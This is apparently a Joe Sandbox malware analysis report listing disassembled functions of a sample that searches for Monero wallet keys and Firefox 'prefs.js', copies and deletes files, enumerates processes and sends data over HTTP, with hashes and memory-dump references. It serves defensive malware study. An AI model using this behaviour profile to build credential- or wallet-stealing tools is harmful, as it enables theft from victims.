Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c15f683425926359cf80d5c7dc692f9af44533ff9da5e5b37639352c56c5a285
Instruction ID: 2a60bf4b31664fd55cc2b181af74415aa771b644e4f2bfb0e0add6b9a89d4867
Opcode Fuzzy Hash: c15f683425926359cf80d5c7dc692f9af44533ff9da5e5b37639352c56c5a285
Instruction Fuzzy Hash: EA12FF72910119AADB15EB60EC56FEEBB38BFD4300F508199B11A72091EF702F49DF66

Function 00573EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00573EC3
FindFirstFileA.KERNEL32(?,?), ref: 00573EDA
StrCmpCA.SHLWAPI(?,00580FAC), ref: 00573F08
StrCmpCA.SHLWAPI(?,00580FB0), ref: 00573F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0057406C
FindClose.KERNEL32(000000FF), ref: 00574081

Strings

%s\%s, xrefs: 00573EB7

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 6cdef829b0048862b44e3336fb163efb459ebef2df8470563ff3cc981f475d40
Instruction ID: 1805a6d500a18c022fd8aae72a52fc8f6bc37e79f11754f618d0dad34bb3ab51
Opcode Fuzzy Hash: 6cdef829b0048862b44e3336fb163efb459ebef2df8470563ff3cc981f475d40
Instruction Fuzzy Hash: 7C5146B2900219ABCB65EBB0DC49EFA777CBBC4300F40C588B65D96040DB799B89DF55

Function 0056F6B0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005815B8,00580D96), ref: 0056F71E
StrCmpCA.SHLWAPI(?,005815BC), ref: 0056F76F
StrCmpCA.SHLWAPI(?,005815C0), ref: 0056F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0056FAB1
FindClose.KERNEL32(000000FF), ref: 0056FAC3

Strings

prefs.js, xrefs: 0056F812
PD, xrefs: 0056F83C

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: PD$prefs.js
API String ID: 3334442632-568038119
Opcode ID: 73f49e95c8bc6c1459d150b937389fe57914a41ad781136c55891c29ba674c89
Instruction ID: 8cd8552d1d6a2ebf3a78e09f1fd8c52bf521a9f11ba78a4dee152fb2127013a1
Opcode Fuzzy Hash: 73f49e95c8bc6c1459d150b937389fe57914a41ad781136c55891c29ba674c89
Instruction Fuzzy Hash: E0B140719001159BCB24FB64EC5AAEE7B79BFD4300F40C5A8A40E97185EF306B49DF92

Function 0056DA80 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,005814B0,00580C2A), ref: 0056DAEB
StrCmpCA.SHLWAPI(?,005814B4), ref: 0056DB33
StrCmpCA.SHLWAPI(?,005814B8), ref: 0056DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0056DDCC
FindClose.KERNEL32(000000FF), ref: 0056DDDE

Strings

D, xrefs: 0056DBD3

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: D
API String ID: 3334442632-193714618
Opcode ID: 3981d311e0a815ccca9256cfbce117c2246801ff26683f5c27421ef3b981a1d2
Instruction ID: bb080df84530006395ffbcd9f29f2b28336b77f33092a64139a7026438e6cb50
Opcode Fuzzy Hash: 3981d311e0a815ccca9256cfbce117c2246801ff26683f5c27421ef3b981a1d2
Instruction Fuzzy Hash: 46913472A00105A7CB14FB74EC5A9EE7B7CBBC4300F40C958B91A97195EE349B19DBA3

Function 005616D0 Relevance: 16.2, APIs: 7, Strings: 2, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0058510C,?,?,?,005851B4,?,?,00000000,?,00000000), ref: 00561923
StrCmpCA.SHLWAPI(?,0058525C), ref: 00561973
StrCmpCA.SHLWAPI(?,00585304), ref: 00561989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00561D40
DeleteFileA.KERNEL32(00000000), ref: 00561DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00561E20
FindClose.KERNEL32(000000FF), ref: 00561E32

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Strings

PD, xrefs: 00561CDA
\*.*, xrefs: 005617F1

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: PD$\*.*
API String ID: 1415058207-894449671
Opcode ID: aea8e82d5b94d84012d853fd538ec14157899848152bc218490067f44042ec99
Instruction ID: 56b966113663f57eb00ce36391560e46e15046d6de0c48bf6ae3e4586ae6e596
Opcode Fuzzy Hash: aea8e82d5b94d84012d853fd538ec14157899848152bc218490067f44042ec99
Instruction Fuzzy Hash: B11210719101199ACB15FB60EC9AEEE7B78BFD4300F408199B51E62091EF306F89DF92

Function 0056E430 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00580D73), ref: 0056E4A2
StrCmpCA.SHLWAPI(?,005814F8), ref: 0056E4F2
StrCmpCA.SHLWAPI(?,005814FC), ref: 0056E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0056EBDF

Strings

(D, xrefs: 0056E587, 0056E59C
D, xrefs: 0056E5B0, 0056E5C5
\*.*, xrefs: 0056E44D
D, xrefs: 0056E733

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: (D$\*.*$D$D
API String ID: 433455689-2074817134
Opcode ID: a7fc7257a48f0c2e5840cb26a2ba45b3aaba30c8df6461d33331ef12bdc4320e
Instruction ID: 6d6a79f10641a22317b5de98e13c0b587b4c445c3a8071e28b750855890d4c4c
Opcode Fuzzy Hash: a7fc7257a48f0c2e5840cb26a2ba45b3aaba30c8df6461d33331ef12bdc4320e
Instruction Fuzzy Hash: EA1220719101159ADB18FB70EC9AEEE7B38BBD4300F4085A8B51E96091EF346F49DF92

Function 00577B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

GetKeyboardLayoutList.USER32(00000000,00000000,005805AF), ref: 00577BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00577BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00577C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00577C62
LocalFree.KERNEL32(00000000), ref: 00577D22

Strings

/ , xrefs: 00577C7F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a3fc92fe6d9e9c2a8f63bd52176eaaebfe5addac31101d08988eaf63e57530fe
Instruction ID: bec6ce700b0b6cbb0092367aae44d4444c5eab0af6ce587dbfa2b55874db0122
Opcode Fuzzy Hash: a3fc92fe6d9e9c2a8f63bd52176eaaebfe5addac31101d08988eaf63e57530fe
Instruction Fuzzy Hash: 48414D7194011CABDB24DB54EC99FEEBB78FF88700F208199E50962181DB342F85DFA2

Function 00579600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0057961E
Process32First.KERNEL32(00580ACA,00000128), ref: 00579632
Process32Next.KERNEL32(00580ACA,00000128), ref: 00579647
StrCmpCA.SHLWAPI(?,00000000), ref: 0057965C
CloseHandle.KERNEL32(00580ACA), ref: 0057967A

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

